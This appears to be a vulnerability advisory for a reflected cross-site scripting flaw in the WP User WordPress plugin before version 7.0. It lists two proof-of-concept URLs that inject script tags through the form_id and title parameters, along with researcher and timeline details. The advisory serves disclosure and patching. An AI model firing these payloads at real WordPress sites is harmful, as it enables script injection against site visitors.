WordPress Plugin Vulnerabilities
WP User < 7.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape some parameters in pages where the [wp_user] shortcode is used, leading to Reflected Cross-Site Scripting issues
Proof of Concept
PAGE_WITH_SHORTCODE is a page with the [wp_user] shortcode embed
https://example.com/?page_id={PAGE_WITH_SHORTCODE}&form_id="><script>alert(/XSS/)</script>
https://example.com//?page_id={PAGE_WITH_SHORTCODE}&form_id=1&title=<script>alert(2)</script>
Affects Plugins
Fixed in 7.0 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Jeremie Amsellem
Submitter
Jeremie Amsellem
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-31 (about 2 years ago)
Added
2022-01-31 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)
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